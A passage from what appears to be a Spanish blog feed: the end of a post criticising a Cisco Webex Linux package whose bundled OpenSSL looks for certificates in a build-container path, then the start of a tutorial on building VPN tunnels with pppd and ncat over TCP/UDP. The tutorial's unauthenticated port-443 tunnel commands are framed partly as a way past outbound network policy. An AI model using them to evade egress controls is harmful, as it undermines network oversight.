2026 tiene 1 710 entradas18:\nFabricante Entradas en el catálogo KEV Microsoft 388 Cisco 98 Apple 94 Adobe 81 Google 74 Oracle 46 Fortinet 30 VMware 26 Segundo, por detrás de un monopolio de sistemas operativos y por delante de todos los demás. La entrada más reciente de Cisco entró el 14 de septiembre de 2026, el día antes de escribir esto.\nConté el mismo archivo tres semanas antes para /es/random/is-your-msp-lying-to-you-part2/: versión 2026.08.27, 1 685 entradas, Cisco en 96. Dos más desde entonces, en veintiún días.\nSé justo con lo que esa tabla demuestra y no demuestra por sí sola. Una base instalada grande en sitios de alto valor atrae atención, y la atención encuentra fallos, así que cualquier fabricante de ese tamaño arrastrará una lista larga. El número es un indicio previo, no un veredicto.\nLa composición es más difícil de despachar que el total. Veinticinco de las noventa y ocho de Cisco están en las líneas de seguridad: los cortafuegos, los equipos, los concentradores VPN, las pasarelas de correo y web, los servicios de identidad. Y las cuatro entradas más recientes contra ellos, seguidas, son Secure Firewall Management Center dos veces, Secure Firewall ASA, y Secure Email Gateway, esta última el 14 de septiembre de 202618. No los conmutadores. No el equipo de colaboración. Los productos vendidos específicamente para ser lo que mantiene seguro a todo el mundo.\nQue es la frase hacia la que toda esta entrada venía caminando, así que aquí está sin rodeos. Esta es una empresa cuyo negocio es vender equipos de seguridad, y no consigue que un cliente de escritorio compruebe un certificado. No es un caso difícil. No es un ataque novedoso. La operación de seguridad más rutinaria de la informática, que hace cualquier navegador en cada carga de página, en una biblioteca que ellos mismos bifurcaron, y la entregaron apuntando a un directorio que nunca ha existido en una máquina de cliente. Y luego la firmaron.\nLo que esta entrada añade es una muestra del proceso que hay detrás. No una vulnerabilidad. Un simple defecto de empaquetado, la clase de fallo menos sutil que existe, en una plataforma soportada, cazable por cualquier prueba de humo que alguien se hubiera molestado en correr, y entregado igualmente. Si una cadena de compilación le pone eso delante a un cliente que paga, no está claro qué detendría. No lo detuvo nada.\n¿Puedo preguntar por qué se firmó esto? ¿Puedo preguntar por qué un paquete que no puede completar un saludo TLS se firmó y se publicó contra una plataforma que vuestra propia página de requisitos lista como soportada? No quién lo firmó. No tengo interés en un nombre y no va de una persona. Qué lo permitió, porque algo lo hizo, quince minutos después de terminar la compilación, y sea lo que sea sigue funcionando hoy.\nAhora la versión sin rodeos. Esto no es un proyecto que me haya bajado de un repositorio público probando suerte. Está pagado. Detrás hay un contrato, una línea de soporte, una página de requisitos que hace una afirmación sobre Linux, y una clave de firma que asegura que el paquete viene de Cisco y es apto para instalarse. Cada una de esas cosas es una declaración a un cliente, y en esta publicación cada una valía cero, porque el resultado nunca se abrió.\nY la norma que se está incumpliendo aquí no es la mía. Es la vuestra. Las cuatro variables que habrían llevado esas rutas están documentadas en una página de manual que entregáis dentro del propio paquete. Vuestro propio formato de paquete tiene un marcador %config que no usasteis y una sección de documentación que dejasteis vacía. Vuestra propia compilación corrió en un contenedor que nunca usasteis para ejecutar la salida. No le estoy pidiendo a una empresa de redes y colaboración que invente nada. Estoy preguntando por qué no leyó sus propios manuales.\nAsí pues, la excusa que no voy a aceptar es que esto sea difícil. No es difícil para nadie, y desde luego no lo es para una empresa que hace esto a diario, a esta escala, por este dinero. Los profesionales que hacen esto todos los días no tienen excusa, y ser grande no es una.\nY ¿puedo hacer una más?, porque es la que de verdad importa. Vendéis cortafuegos. Vendéis una pasarela de correo, un concentrador VPN, un servicio de identidad, un centro de gestión para todo ello, y el argumento en todos es que entendéis esto mejor que vuestro cliente. Entonces, ¿cómo entrega una empresa que se presenta como autoridad en seguridad de redes un cliente incapaz de validar un certificado? No que falle al validarlo con astucia. Que no pueda buscar uno, porque el directorio nunca estuvo ahí.\nNo hay ninguna versión de esa respuesta que quiera oír que empiece por que el equipo de escritorio está separado del de equipos. Son la misma firma, la misma cadena, la misma afirmación publicada sobre una plataforma soportada, y el mismo paso que falta al final, que es abrir la caja. Si la validación de certificados no se comprueba antes de entregar en el producto donde la rotura es ruidosa e inofensiva, no tengo razón para creer que se comprueba en el producto donde la rotura es silenciosa y cara.\nY la parte honesta, dicha sin adornos. Nada de esto me sorprendió. He llegado a esperar este nivel de este fabricante, y por eso, donde la elección es mía, no compro su equipo ni construyo sobre él. Eso no es una preferencia por insignias. Es el mismo juicio que haría sobre cualquier proveedor: he medido su trabajo, más de una vez, y sale igual una y otra vez. El catálogo de arriba es una medición. Lo que costó la primera mitad de esta entrada es otra.\nLa razón de que yo estuviera en Webex es que la elección no era mía, y eso merece nombrarse, porque es la posición en la que está la mayoría de quienes leen esto. Rara vez puedes evitar a un fabricante cuya calidad ya has medido. Otro firma el contrato, el equipo llega, y el primero en enterarse de qué se saltaron en la compilación eres tú, en tu mesa, con una reunión empezando.\nEntregar algo que nunca ejecutaste Habrá una explicación interna. Un sprint cargado, una cadena que cambió de manos, una plataforma sin dueño. Ninguna merece oírse, porque todas describen lo mismo: el trabajo no se hizo y nada en el proceso exigía que se hiciera.\nHay una norma vieja en los oficios que nunca ha llegado al software: no te vas de la obra hasta haber puesto la cosa en marcha. Llenas la instalación y compruebas cada junta. Das tensión al cuadro y pruebas cada circuito. No porque dudes de tu trabajo. Porque el cliente va a usarlo, y enterarse delante de él no es un resultado profesional. Nadie te mira mientras lo haces. Lo haces igual. Ese es el significado entero de la palabra.\nEl software lleva treinta años argumentando que es distinto, que la compilación es el entregable y la instalación es problema de otro, que una cadena en verde es lo mismo que un producto que funciona, y no lo es. Una compilación que nunca se ha ejecutado fuera del contenedor que la produjo no se ha terminado, se ha abandonado en el punto en que terminar se vuelve aburrido. Todo lo que viene después es una afirmación sobre un trabajo que no se hizo.\nEl arreglo es una opción de configuración. La comprobación es una línea de shell. El coste de ninguna de las dos es lo interesante; el número interesante es cuánta gente tecleó sus credenciales en una ventana de Webex, la vio decir que su internet estaba caído, y se lo creyó, porque Cisco se lo decía y Cisco es una empresa de redes. Eso es lo que compró de verdad la prueba que faltaba: no un fallo, una mentira que el producto cuenta con aplomo, en cada arranque, a gente que no tiene manera de saber más.\nY esa es la línea que merece trazarse antes de cerrar la pestaña, porque las dos mitades de esta entrada no son dos temas. Una ruta de confianza que apunta a un contenedor de compilación y un salto de autenticación en un equipo de perímetro son el mismo fallo con distinto riesgo. Los dos son un valor que nadie comprobó, en un artefacto que nadie ejecutó, firmado por un proceso que atestigua procedencia y no aptitud. El que tuve delante era de la clase inofensiva. Se rompió a gritos, en mi propia mesa, y yo fui el primero en saberlo. La otra clase no te hace ese favor.\nLa misma comprobación ausente con dos niveles de riesgo, y solo una te lo dice Una comprobación ausente, dos riesgos. Solo uno te dice que está ahí. El mismo fallo: un valor que nadie comprobó, en un artefacto que nadie ejecutó, firmado por la procedencia y no por la aptitud La que se rompe a gritos qué era una ruta de almacén de confianza que no existe quién la encontró el cliente, primer arranque qué costó una tarde, una mesa quién se enteró yo, al momento Acaba escrita en público. La que no rompe nada qué era una longitud que nadie acotó quién la encontró quien fue a buscarla qué costó un incidente quién se enteró el cliente, por el informe Acaba como 1 de las 98 de Cisco en el catálogo. Un proceso que no caza la columna izquierda nunca iba a cazar la derecha. La diferencia es suerte, no diligencia. El defecto de esta entrada y las entradas de ese catálogo son el mismo fallo con otra ropa. Uno se anunció en mi mesa en el primer arranque. La otra clase se anuncia primero a otra persona. Nadie en Cisco decidió entregar un cortafuegos explotable, igual que nadie decidió entregar un cliente incapaz de llegar a internet. Eso no es una defensa. Es la acusación. Ninguno de los dos necesita decidirse, y ese es precisamente el problema: los dos son lo que sale por el otro extremo cuando una cadena compila, firma y publica sin que se haga a nadie responsable de abrir el resultado. Un proceso que no caza un directorio que no existe nunca iba a cazar una longitud que no se comprueba, y un fabricante que te vende el equipo que guarda tu perímetro no tiene derecho a ese proceso.\nAsí que cuando el nombre de un fabricante aparece una y otra vez en esa lista, resiste la explicación cómoda de que simplemente es grande y está muy apuntado. La escala explica el volumen. No explica la clase. Mira en cambio qué hace su proceso de compilación con las cosas aburridas, porque las cosas aburridas son medibles desde fuera, por ti, hoy, con material que ya tienes.\nComprueba tus propios paquetes. strings y readelf y veinte minutos te dirán cuáles de tus proveedores entregan una ruta a una máquina que nunca verás. Lo que estás midiendo en realidad no es la ruta. Es si allí había alguien mirando, y si la respuesta es no en algo tan barato de cazar, ya sabes cuál es en las cosas que no lo son.\nCisco — Webex App system requirements — la lista de plataformas soportadas, Linux incluido.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — INSTALL.md, --openssldir — «Directory for OpenSSL configuration files, and also the default certificate and key store.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — SSL_CTX_load_verify_locations(3) — el archivo CA por defecto es cert.pem y el directorio CA por defecto certs, ambos dentro del directorio OpenSSL por defecto; y sobre los valores de retorno, «A missing default location is still treated as a success.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConan 2 — conan cache — los binarios de paquete viven bajo una ruta con hash en la caché local, de donde sale /workspace/.conan2/p/b/\u0026lt;hash\u0026gt;/p.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — openssl-env(7) — SSL_CERT_DIR y SSL_CERT_FILE «specify the default directory or file containing CA certificates».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — provider(7) — el proveedor por defecto y qué deja indisponible una configuración que lo omite.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — config(5) — el archivo de configuración que OpenSSL carga al inicializarse, y dónde lo busca.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfreedesktop.org — XDG Base Directory Specification — «The base directory defined by $XDG_DATA_HOME is considered more important than any of the base directories defined by $XDG_DATA_DIRS.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfreedesktop.org — Desktop Entry Specification — dónde se buscan los archivos .desktop y cómo uno tapa a otro del mismo nombre.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFilesystem Hierarchy Standard 3.0 — los directorios que se espera que contenga un sistema de archivos raíz, sin /workspace entre ellos.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nupdate-ca-trust(8) — cómo se produce el paquete consolidado bajo /etc/pki/ca-trust/extracted en Fedora y sus parientes.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nld.so(8) — $ORIGIN se expande al directorio que contiene el programa u objeto compartido, que es lo que hace reubicable un árbol incluido.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc timeline — «2018-08-01 GLIBC 2.28 — The GNU C Library version 2.28 is now available».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc — Release wiki — la tabla de versión a distribución; Red Hat Enterprise Linux 8 es glibc 2.28.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRPM — spec file reference — %config y qué hace el gestor de paquetes con un archivo marcado como configuración.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora packaging guidelines — configuration files — cuándo un archivo entregado debe marcarse como %config.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc FAQ — por qué un binario de glibc enlazado estáticamente sigue necesitando los módulos NSS del anfitrión en tiempo de ejecución.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCISA — Known Exploited Vulnerabilities Catalog — contado desde el flujo JSON publicado, versión de catálogo 2026.09.14, 1 710 entradas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/certificates/webex-certificates-on-a-build-server/","summary":"Webex 46.8.0.35631 en Fedora 44 se queda tras un banner amarillo que dice «Offline - No internet connection» mientras cualquier otro programa de la máquina llega a internet sin quejarse. Dejó muerta la línea VoIP. La red nunca fue el problema: Cisco incluye su propio fork de OpenSSL y lo compiló con OPENSSLDIR apuntando a /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl, un directorio que existe en un contenedor de compilación y en ningún otro sitio, así que no carga ningún ancla de confianza y todo saludo TLS falla. La entrada va en orden: qué es de verdad el estado roto, preguntarle a la biblioteca incluida dónde cree que viven sus certificados, reproducir el código de error exacto fuera de Webex, por qué nada te avisa, los dos arreglos que no funcionan y por qué, y el que sí. Luego el proceso de compilación: usaron $ORIGIN para el código y dejaron tres rutas de datos absolutas, la cabecera del RPM nombra un identificador de contenedor, así que el contenedor ya estaba en la cadena y nunca se usó para ejecutar el resultado, el paquete exige una glibc de 2018 porque no quieren enlazar estáticamente, se entregan 2,2 GB dos veces, y no lleva documentación ni ningún archivo marcado como configuración. Luego cómo debería haberse construido, los seis arreglos y la comprobación de una línea que lo caza. Y al final el contraste: Cisco tiene 98 entradas en el catálogo de vulnerabilidades explotadas de CISA, solo por detrás de Microsoft, y una ruta de confianza que nadie comprobó y un salto de autenticación que nadie comprobó son el mismo fallo con distinto riesgo.","title":"Webex busca tus certificados en un servidor de compilación de Cisco"},{"content":"Una VPN no es un producto. Son dos tareas atornilladas juntas, y tu máquina ya tiene un programa para cada una.\nLa primera tarea es fabricar un enlace virtual — una interfaz que parece una tarjeta de red, coge paquetes IP y los entrega en otro sitio. La segunda es transportar los bytes de ese enlace de un extremo al otro. Compra un aparato VPN y compras las dos tareas con una licencia grapada encima; hazlo tú y cada una es un programa ya instalado. Hay dos formas de hacer la primera tarea en Linux, y este artículo construye las dos: pppd, que trae todo un protocolo de enlace — direcciones negociadas, una comprobación de vida, tramado — y un dispositivo tap, que no trae nada y es un agujero en el núcleo por el que empujas tramas. Compromisos distintos, no competidores, y la segunda mitad los pone uno al lado del otro.\nEse protocolo es PPP, y la razón de que esto funcione está escrita en su primer párrafo: PPP es un protocolo de enlace para enlaces punto a punto1, y no especifica de qué está hecho el enlace. Un módem y una línea telefónica fueron la respuesta original. Nunca fueron la única. PPTP metió PPP dentro de GRE2. L2TP lo metió dentro de UDP3. PPPoE lo metió dentro de tramas Ethernet. Cada uno de ellos es el mismo protocolo con un mensajero distinto, y ninguno necesitó cambiar PPP para hacerlo.\nAsí que la pregunta no es si puedes ejecutar PPP sobre un socket TCP o UDP, sino cuál, y qué cuesta. La respuesta corta, con las cuentas a la vista: usa UDP. Ejecutar un protocolo de flujo dentro de un flujo fiable es el único error aquí que se ve bien en tu mesa y se desmonta en un enlace real.\nUna VPN Son Dos Tareas. Ya Tienes Las Dos. Quítale el marketing a cualquier túnel y pasan tres cosas: algo presenta una interfaz virtual y convierte paquetes en un flujo de bytes, algo transporta ese flujo por una red que ya funciona, y algo lo cifra, o nada lo hace.\nTodo túnel es una mitad de enlace, un portador y algo de criptografía Las mismas tres piezas siempre. Solo cambian el portador y la cripto. TÚNEL MITAD DE ENLACE PORTADOR CRIPTO PPP conmutado, 1994 PPP módem y línea telefónica ninguna PPPoE PPP tramas Ethernet ninguna PPTP PPP GRE MPPE — roto, no lo hagas L2TP sobre IPsec PPP UDP IPsec Este artículo, construcción uno PPP sobre un pty socket UDP, vía netcat DTLS Este artículo, construcción dos dispositivo tun o tap socket UDP, vía socat DTLS WireGuard interfaz del núcleo UDP Noise, y nada que negociar Todos los túneles de esta lista tienen la misma forma. Las diferencias son en qué portador van los bytes, y si algo los cifra. PPP hace la mitad del enlace desde 1994, por eso aparece debajo de tres de ellos sin haber sido rediseñado para ninguno. Un dispositivo tun o tap hace esa misma mitad sin protocolo alguno, y esa es la segunda construcción de este artículo. PPP hace la mitad del enlace como es debido — negociación de direcciones, una comprobación de vida, compresión de cabeceras, varios protocolos de capa de red sobre un enlace, un paso de autenticación si lo quieres — un montón de trabajo terminado en /usr/sbin sin hacer nada. Lo que no hace es preocuparse por el portador: dale un descriptor de fichero que mueva bytes en ambos sentidos y funciona encima de él. Netcat es un programa cuyo propósito entero es ser ese descriptor de fichero.\nEl cifrado es la parte que nadie te da hecha, y es la parte en la que se gasta la mayoría de este artículo, porque netcat no tiene respuesta para ella y fingir lo contrario es como la gente acaba construyendo cosas que no debería.\nLas Fases, Y Por Qué Van En Este Orden Todo lo de abajo se construye por fases, y cada una añade una cosa a la anterior. Eso no es un recurso didáctico. Es como deberías construirlo, porque cuando la fase seis se rompa necesitas saber si la fase dos sigue funcionando, y eso solo lo sabes si la fase dos fue alguna vez algo que ejecutaste por separado.\nSeis fases, cada una añade una cosa que puedes probar por separado Constrúyelo en este orden y siempre podrás volver a bajar 1 En crudo, sobre TCP pppd con un pty, o un dispositivo tap, y un servicio de escucha netcat a secas. Funciona en un banco. Se derrite en un camino real — dos temporizadores de retransmisión peleando. 2 En crudo, sobre UDP El mismo enlace, portador de datagramas. Un datagrama perdido es un paquete perdido y nada más. Este es el cimiento. Todo lo de encima es opcional; esto no. 3 TLS, sobre TCP ncat, stunnel u openssl envolviendo el portador. Verifica el certificado en los dos extremos, o tendrás cifrado sin identidad y ningún control de acceso. 4 DTLS, sobre UDP socat u openssl, y la forma a la que apuntar: cifrada, autenticada, todavía datagramas. Un paquete perdido sigue siendo un paquete perdido en vez de dos pilas discutiendo. 5 Comprimida zstd entre la interfaz y el portador. Mantén la ventana entre tramas donde el portador entregue en orden; una trama autónoma por datagrama, más un diccionario, donde no. 6 Las dos, en ese orden Comprimir y después cifrar. Nunca al revés — el texto cifrado no se comprime. Y conoce el precio: comprimir antes de cifrar filtra la longitud del texto plano. Bien con tráfico propio. Seis fases, cada una añade una cosa a la de debajo. En crudo sobre TCP es donde empieza todo el mundo, y el único peldaño sin salida: funciona en un banco de pruebas y se derrite en un camino real. En crudo sobre UDP es el cimiento sobre el que se apoya todo lo demás. Después el cifrado, después la compresión, después las dos juntas. Cada fase es un enlace que puedes levantar, cruzar con un ping y dejar en marcha, así que cuando la parte alta de la escalera se porte mal puedes bajarla peldaño a peldaño. El enlace mismo se construye igual — el razonamiento detrás de la rampa de un segundo está más abajo: un túnel se levanta en crudo, demuestra que puede llevar una trama, y solo entonces se pone listo. Una construcción que lo enciende todo a la vez falla como un bloque, y te pasas la tarde adivinando qué capa lo hizo.\nLo Que pppd Quiere En Realidad Es Un Descriptor De Fichero pppd se escribió para puertos serie, así que la lectura ingenua es que necesita uno. No lo necesita. Necesita un dispositivo de terminal, y se lo fabrica él mismo:\npty script — Specifies that the command script is to be used to communicate rather than a specific terminal device. Pppd will allocate itself a pseudo-tty master/slave pair and use the slave as its terminal device. The script will be run in a child process with the pseudo-tty master as its standard input and output.4\nLéelo otra vez — la construcción entera está ahí. pppd fabrica un pseudoterminal, se queda el esclavo y le entrega el maestro a un comando como stdin y stdout. Lo que ese comando haga con los bytes no es asunto de pppd. Ejecuta nc ahí y se van por un socket.\npppd, un pseudoterminal, netcat y un socket Un paquete, de ppp0 a ppp0, y todas las manos por las que pasa EQUIPO A EQUIPO B ppp0 interfaz del núcleo pppd tramado HDLC par de pty esclavo para pppd maestro para el hijo ncat stdin y stdout par de pty maestro para el hijo esclavo para pppd ncat stdin y stdout pppd tramado HDLC ppp0 interfaz del núcleo el socket — TCP o UDP Las dos cajas del medio son la única parte que eliges. Todo lo de los lados es igual tanto si el portador es una línea telefónica, una consola serie, un flujo TCP, un flujo de datagramas UDP o una sesión TLS — por eso cambiar el portador después cuesta una palabra. Un pseudoterminal no tiene pin de detección de portadora, así que pppd espera una portadora que nunca llega. La opción `local` es lo que lo para. pppd habla HDLC asíncrono hacia el lado esclavo de un pseudoterminal que se ha asignado él mismo. El comando que nombra pty hereda el lado maestro como stdin y stdout. Netcat copia stdin al socket y el socket a stdout, así que las dos instancias de pppd se hablan a través del par de pty y de la red sin que ninguna sepa que existe un socket. Hay una segunda vía, notty, que usa el stdin y el stdout del propio pppd. Pero lanza un proceso de trasvase de caracteres por el que pasa cada byte, así que «increases the latency and CPU overhead»4. Usa pty salvo que tengas una razón para no hacerlo.\nTres hechos prácticos antes del primer comando, todos comprobados en la máquina en la que se escribió esto — Fedora 44, ppp-2.5.1-7.fc44:\n$ pppd --version pppd version 2.5.1 $ ls -l /usr/bin/pppd /dev/ppp -rwxr-xr-x. 1 root root 393784 Jan 17 2026 /usr/bin/pppd crw-------. 1 root root 108, 0 Sep 14 08:34 /dev/ppp $ pppd noauth nodetach pty \u0026#39;true\u0026#39; pppd: using the noauth option requires root privilege Necesita root. No hay forma de rodearlo. El binario no es setuid en Fedora, /dev/ppp está en modo 0600 y pertenece a root, y las opciones que necesitas son privilegiadas de todos modos. Esto es algo que ejecutas como root o bajo un fichero de unidad, no algo que un usuario hace a la ligera. Eso importa más adelante, cuando lleguemos a lo que significa para tu política de salida.\nEl lado del núcleo es modular. ppp_generic hace la interfaz, ppp_async el tramado con relleno de bytes que necesita un pty, y ppp_deflate/bsd_comp/ppp_mppe la compresión y el cifrado; se cargan bajo demanda. Si a una imagen de contenedor recortada le falta ppp_async, el enlace se levanta y no lleva nada — media hora miserable si no sabes dónde mirar.\nLas líneas de control de módem no existen en un pty. Sin pin de detección de portadora, pppd espera una portadora que nunca llega. El arreglo es una palabra, local, que le dice que ignore las líneas de control de módem4. Déjala fuera y no pasa nada, sin un error que merezca la pena leer.\nNetcat No Es Un Solo Programa Antes de la construcción, la trampa que más tiempo come: «netcat» son al menos cuatro programas con banderas incompatibles, y cuál te toca depende de tu distribución. En esta máquina /usr/bin/nc es un enlace simbólico a /usr/bin/ncat, la reescritura de Nmap. Así que un comando copiado de una página wiki de hace quince años falla por razones que no tienen nada que ver con PPP.\nImplementación Escuchar en un puerto UDP Seguir en pie tras irse un par Ncat (Nmap) ncat -l 443 -u -k / --keep-open OpenBSD netcat nc -l 443 -u -k Traditional netcat nc -l -p 443 -u no GNU netcat nc -l -p 443 -u no Así que comprueba cuál tienes antes de culpar a pppd:\nreadlink -f \u0026#34;$(command -v nc)\u0026#34; nc --version 2\u0026gt;\u0026amp;1 | head -1 || nc -h 2\u0026gt;\u0026amp;1 | head -1 Abajo usaré ncat de forma explícita. Es el que trae TLS incorporado, cosa que importa más adelante, y ser explícito significa que los comandos no significan otra cosa en silencio en tu máquina.\nFase Uno: La Construcción TCP, Porque Es Lo Que Todo El Mundo Prueba Primero Un extremo escucha, otro conecta. Las direcciones de aquí son del rango de documentación, así que pégalas tal cual en un laboratorio y no se daña nada enrutable. El puerto es 443 en todo el artículo, y es deliberado: el 443 saliente está abierto por defecto en casi cualquier red. Envuelve el portador en TLS un par de fases más abajo y el tráfico que lleva es indistinguible de cualquier sesión HTTPS. Atar un servicio de escucha ahí necesita root, y el extremo lejano — la máquina del propio atacante, o un relé — lo tiene. Ese es el argumento entero de la salida metido en un número de puerto, y volveré sobre él.\nEn el extremo que escucha:\npppd nodetach noauth local passive \\ nodefaultroute noipdefault \\ 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --listen --keep-open 443\u0026#39; En el extremo que conecta:\npppd nodetach noauth local \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat 198.51.100.10 443\u0026#39; Cada palabra de ahí hace un trabajo, y una de ellas, noauth, hace un daño silencioso. El túnel no tiene control de acceso, y eso tiene su propia sección más adelante.\nCada palabra de la línea de pppd, y qué hace La línea de comando de la construcción UDP, palabra a palabra nodetach primer plano, así ves su salida y puedes ponerlo bajo un supervisor noauth sin autenticación del par — este es el agujero; el túnel no tiene control de acceso local ignora las líneas de control de módem que un pty no tiene. Sin ella no se levanta nada passive espera un paquete LCP válido en vez de salir — comportamiento de socket servidor nodefaultroute no te quedes con la ruta por defecto al terminar IPCP. Pon tú la ruta que quieras noipdefault no ofrezcas la propia dirección de la máquina como extremo local 192.0.2.1:192.0.2.2 local:remoto, fijado — pppd rechaza cualquier otra respuesta durante IPCP lcp-echo-interval / -failure la comprobación de vida — su propia sección más abajo mtu / mru 1400 deja sitio para lo que el portador envuelva alrededor de cada trama pty '...' el comando cuyos stdin y stdout se convierten en el enlace — aquí, un socket netcat El extremo que conecta es la misma línea sin `passive`: inicia en vez de esperar. Cada opción de la línea, y qué hace. La que hay que vigilar es noauth: quita la autenticación del par, así que quien escucha acepta a quien llegue. nodefaultroute y noipdefault impiden que el enlace reescriba tu enrutado en silencio, local hace que llegue a levantarse sobre un pty, y el par local:remoto fijado impide que pppd acepte otra respuesta durante IPCP. El extremo que conecta es la misma línea sin passive. Levanta los dos extremos y tienes un ppp0 en cada uno, una ruta punto a punto a la dirección lejana, y una interfaz que puedes hacer ping, enrutar y pasar por tcpdump. Eso es una VPN — sin instalar un paquete, sin configurar un demonio, sin intercambiar una clave, que es el problema, y volveré sobre él.\nQué Negoció, Y Cómo Mirarlo Añade debug y pppd registra el intercambio del protocolo de control, que merece la pena leer una vez aunque no lo leas nunca más. El enlace se levanta por etapas, y cada etapa puede fallar por su cuenta.\nLCP, luego la autenticación, luego un protocolo de control por familia de direcciones Tres etapas, y cada una falla por su propia razón 1 LCP — el enlace en sí Unidad máxima de recepción, el mapa de control, un número mágico para ver una línea en bucle, y si algún extremo quiere que el otro se autentique. Falla aquí y el portador no está pasando los bytes limpiamente en ambos sentidos. Mira el socket, no las opciones de PPP. 2 Autenticación — opcional PAP manda una contraseña en claro. CHAP hace un desafío y una respuesta MD5. Aquí se salta. Los dos demuestran quién es el par. Ninguno cifra un solo byte de lo que sigue. 3a IPCP La dirección IPv4 de cada extremo. 3b IPV6CP Los identificadores de interfaz de 64 bits. Estos dos son independientes. IPv6 puede levantarse mientras IPv4 sigue discutiendo, y un fallo en uno no tira el otro. La interfaz empieza a llevar tráfico de una familia en cuanto termina el protocolo de control de esa familia. LCP arregla el enlace en sí — cómo de grande puede ser una trama, qué caracteres de control hay que escapar, y un número mágico que detecta una línea en bucle. La autenticación es opcional y aquí se salta. Después un protocolo de control por capa de red: IPCP para IPv4, IPV6CP para IPv6. Son independientes, así que un enlace puede llevar IPv6 mientras IPv4 sigue discutiendo, y un fallo en uno no tira el otro. Las dos herramientas útiles de depuración ya están instaladas y nadie las usa:\n# registra cada trama en ambos sentidos a un fichero pppd ... debug record /tmp/ppp-trace # después léelo en una forma legible pppdump -h /tmp/ppp-trace | less record escribe una captura con marcas de tiempo de cada byte, pppdump la convierte en algo legible4, y con tcpdump -ni ppp0 ves los dos lados — el tramado de debajo y los paquetes de encima.\nLa Trama En El Cable, Y Por Qué 0x7E Está En Todas Partes PPP sobre una línea serie — y un pty lo es en lo que a pppd respecta — usa tramado HDLC asíncrono, y entenderlo es la diferencia entre ajustar esto y adivinar. Cada trama empieza y termina con el mismo byte: «Each frame begins and ends with a Flag Sequence, which is the binary sequence 01111110 (hexadecimal 0x7e)»5. Si 0x7e marca una frontera, no puede aparecer dentro de una trama, así que se escapa. También el byte de escape 0x7d, y cualquier otra cosa que pida uno de los dos extremos.\nLa trama, el byte de bandera, y lo que cuesta escapar Una trama, y los dos bytes que nunca pueden aparecer dentro 0x7E bandera 0xFF dirección 0x03 control protocolo 1 o 2 bytes carga — tu paquete IP hasta la unidad máxima de recepción acordada FCS CRC de 16 bits 0x7E bandera EL ESCAPE, LA ÚNICA REGLA QUE HAY Todo byte que pudiera confundirse con una frontera se sustituye por 0x7D seguido del byte original en O exclusiva con 0x20. carga 0x7E transmitida como 0x7D 0x5E carga 0x7D transmitida como 0x7D 0x5D Esos dos son obligatorios. Todo lo demás lo decide el mapa de caracteres de control — 32 bits, uno por carácter de control. Mapa a cero — el valor por defecto de pppd, y correcto en un socket Dos bytes escapados de 256. Sobrecarga que no medirás jamás. Un socket es un camino limpio de 8 bits y no necesita nada más. Los 32 marcados — el ajuste conservador de módem En cargas comprimidas o cifradas alrededor de un byte de cada ocho está por debajo de 0x20, así que se duplica. Cerca del 12 % del enlace, para nada. La trama es bandera, dirección, control, protocolo, carga, secuencia de verificación de trama, bandera. Cualquier byte dentro que pudiera confundirse con una frontera se sustituye por 0x7D seguido del byte original XOR 0x20. La ACCM decide cuántos otros bytes reciben el mismo trato: cero en un camino limpio de 8 bits, treinta y dos si uno de los extremos pide el valor conservador por defecto que supone un módem comiéndose los caracteres de control. La regla de escape es exacta: «Each Flag Sequence, Control Escape octet, and any octet which is flagged in the sending Async-Control-Character-Map (ACCM), is replaced by a two octet sequence consisting of the Control Escape octet followed by the original octet exclusive-or\u0026rsquo;d with hexadecimal 0x20»5.\nEsa última parte es el mando de ajuste. La ACCM son 32 bits, uno por carácter de control, y un 1 significa «escapa este». Pídelos todos y, en cargas cifradas donde los bytes son en la práctica aleatorios, más o menos uno de cada ocho bytes está por debajo de 0x20 — un 12 % de sobrecarga para nada.\nEl pppd moderno ya hace lo correcto aquí. Lee la página de manual en vez del folclore:\nIf no asyncmap option is given, the default is zero, so pppd will ask the peer not to escape any control characters.4\nAsí que asyncmap 0 es el valor por defecto, no un truco, y un socket es un camino limpio de 8 bits que no necesita escapes más allá de los dos bytes obligatorios. Déjalo en paz; pon bits solo cuando algo por el medio se coma de verdad los caracteres de control — un servidor de terminales, un concentrador serie, un proxy de consola malo. La secuencia de verificación de trama del final es un CRC de 16 bits, y es lo que hace que funcione la construcción UDP — que viene ahora.\nTCP Sobre TCP Es El Portador Equivocado La construcción de arriba funciona. En un banco de laboratorio, sobre loopback o una LAN tranquila, funciona de maravilla, que es justo por lo que la gente la pone en producción.\nDespués se encuentra con un camino real con pérdida real. Se cae de una forma que parece cualquier cosa menos lo que es.\nEl problema son dos temporizadores de retransmisión independientes 